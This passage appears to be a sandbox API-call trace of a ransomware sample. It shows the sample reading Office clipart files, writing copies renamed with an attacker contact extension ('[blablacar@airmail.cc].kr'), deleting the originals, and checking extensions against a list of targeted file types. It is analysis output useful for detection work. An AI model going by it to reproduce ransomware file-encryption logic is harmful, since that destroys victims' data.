lpNumberOfBytesWritten=0x2befc94*=0x1390, lpOverlapped=0x0) returned 1 [0108.598] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0108.598] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0108.598] SetEndOfFile (hFile=0x368) returned 1 [0108.599] CloseHandle (hObject=0x368) returned 1 [0108.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.600] SetEndOfFile (hFile=0x364) returned 1 [0108.601] CloseHandle (hObject=0x364) returned 1 [0108.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0108.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.602] lstrlenW (lpString=".doc") returned 4 [0108.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.602] lstrlenW (lpString=".docx") returned 5 [0108.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.602] lstrlenW (lpString=".pdf") returned 4 [0108.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.602] lstrlenW (lpString=".xls") returned 4 [0108.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.602] lstrlenW (lpString=".xlsx") returned 5 [0108.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.602] lstrlenW (lpString=".ppt") returned 4 [0108.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.602] lstrlenW (lpString=".zip") returned 4 [0108.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.603] lstrlenW (lpString=".rar") returned 4 [0108.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString=".bz2") returned 4 [0108.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString=".7z") returned 3 [0108.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.603] lstrlenW (lpString=".dbf") returned 4 [0108.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.603] lstrlenW (lpString=".1cd") returned 4 [0108.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.603] lstrlenW (lpString=".jpg") returned 4 [0108.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.603] lstrlenW (lpString=".doc") returned 4 [0108.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.603] lstrlenW (lpString=".docx") returned 5 [0108.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.603] lstrlenW (lpString=".pdf") returned 4 [0108.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString=".xls") returned 4 [0108.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.604] lstrlenW (lpString=".xlsx") returned 5 [0108.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.604] lstrlenW (lpString=".ppt") returned 4 [0108.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.604] lstrlenW (lpString=".zip") returned 4 [0108.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.604] lstrlenW (lpString=".rar") returned 4 [0108.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString=".bz2") returned 4 [0108.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString=".7z") returned 3 [0108.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.604] lstrlenW (lpString=".dbf") returned 4 [0108.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.604] lstrlenW (lpString=".1cd") returned 4 [0108.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0108.604] lstrlenW (lpString=".jpg") returned 4 [0108.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.605] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.605] lstrlenW (lpString="AN04385_.WMF") returned 12 [0108.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.605] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=5004) returned 1 [0108.605] CloseHandle (hObject=0x364) returned 1 [0108.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0108.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.606] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.606] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.607] GetLastError () returned 0x0 [0108.607] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x138c, lpOverlapped=0x0) returned 1 [0108.608] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1390, lpOverlapped=0x0) returned 1 [0108.610] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0108.610] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0108.610] SetEndOfFile (hFile=0x368) returned 1 [0108.610] CloseHandle (hObject=0x368) returned 1 [0108.612] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.612] SetEndOfFile (hFile=0x364) returned 1 [0108.613] CloseHandle (hObject=0x364) returned 1 [0108.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0108.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.614] lstrlenW (lpString=".doc") returned 4 [0108.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.614] lstrlenW (lpString=".docx") returned 5 [0108.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.614] lstrlenW (lpString=".pdf") returned 4 [0108.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.614] lstrlenW (lpString=".xls") returned 4 [0108.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.614] lstrlenW (lpString=".xlsx") returned 5 [0108.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.614] lstrlenW (lpString=".ppt") returned 4 [0108.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString=".zip") returned 4 [0108.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.615] lstrlenW (lpString=".rar") returned 4 [0108.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString=".bz2") returned 4 [0108.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString=".7z") returned 3 [0108.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString=".dbf") returned 4 [0108.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString=".1cd") returned 4 [0108.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString=".jpg") returned 4 [0108.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.615] lstrlenW (lpString=".doc") returned 4 [0108.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.615] lstrlenW (lpString=".docx") returned 5 [0108.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.615] lstrlenW (lpString=".pdf") returned 4 [0108.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString=".xls") returned 4 [0108.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.616] lstrlenW (lpString=".xlsx") returned 5 [0108.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.616] lstrlenW (lpString=".ppt") returned 4 [0108.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.616] lstrlenW (lpString=".zip") returned 4 [0108.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.616] lstrlenW (lpString=".rar") returned 4 [0108.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString=".bz2") returned 4 [0108.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString=".7z") returned 3 [0108.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.616] lstrlenW (lpString=".dbf") returned 4 [0108.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.616] lstrlenW (lpString=".1cd") returned 4 [0108.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0108.616] lstrlenW (lpString=".jpg") returned 4 [0108.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.616] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.616] lstrlenW (lpString="BD00116_.WMF") returned 12 [0108.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.617] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4870) returned 1 [0108.617] CloseHandle (hObject=0x364) returned 1 [0108.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0108.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.618] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.618] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.618] GetLastError () returned 0x0 [0108.618] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1306, lpOverlapped=0x0) returned 1 [0108.620] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1310, lpOverlapped=0x0) returned 1 [0108.621] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0108.621] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0108.621] SetEndOfFile (hFile=0x368) returned 1 [0108.622] CloseHandle (hObject=0x368) returned 1 [0108.623] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0108.623] SetEndOfFile (hFile=0x364) returned 1 [0108.625] CloseHandle (hObject=0x364) returned 1 [0108.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0108.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.625] lstrlenW (lpString=".doc") returned 4 [0108.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString=".docx") returned 5 [0108.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.626] lstrlenW (lpString=".pdf") returned 4 [0108.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString=".xls") returned 4 [0108.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.626] lstrlenW (lpString=".xlsx") returned 5 [0108.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.626] lstrlenW (lpString=".ppt") returned 4 [0108.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.626] lstrlenW (lpString=".zip") returned 4 [0108.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.626] lstrlenW (lpString=".rar") returned 4 [0108.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString=".bz2") returned 4 [0108.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString=".7z") returned 3 [0108.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.626] lstrlenW (lpString=".dbf") returned 4 [0108.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.626] lstrlenW (lpString=".1cd") returned 4 [0108.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.627] lstrlenW (lpString=".jpg") returned 4 [0108.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.627] lstrlenW (lpString=".doc") returned 4 [0108.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString=".docx") returned 5 [0108.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.627] lstrlenW (lpString=".pdf") returned 4 [0108.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString=".xls") returned 4 [0108.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.627] lstrlenW (lpString=".xlsx") returned 5 [0108.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.627] lstrlenW (lpString=".ppt") returned 4 [0108.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.627] lstrlenW (lpString=".zip") returned 4 [0108.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.627] lstrlenW (lpString=".rar") returned 4 [0108.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString=".bz2") returned 4 [0108.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.627] lstrlenW (lpString=".7z") returned 3 [0108.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.827] lstrlenW (lpString=".dbf") returned 4 [0108.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.827] lstrlenW (lpString=".1cd") returned 4 [0108.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0108.827] lstrlenW (lpString=".jpg") returned 4 [0108.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.828] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.828] lstrlenW (lpString="BD06102_.WMF") returned 12 [0108.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.008] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16112) returned 1 [0109.008] CloseHandle (hObject=0x374) returned 1 [0109.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0109.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.009] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.009] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0109.009] GetLastError () returned 0x0 [0109.009] ReadFile (in: hFile=0x374, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0109.024] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x3f00, lpOverlapped=0x0) returned 1 [0109.026] ReadFile (in: hFile=0x374, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0109.026] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 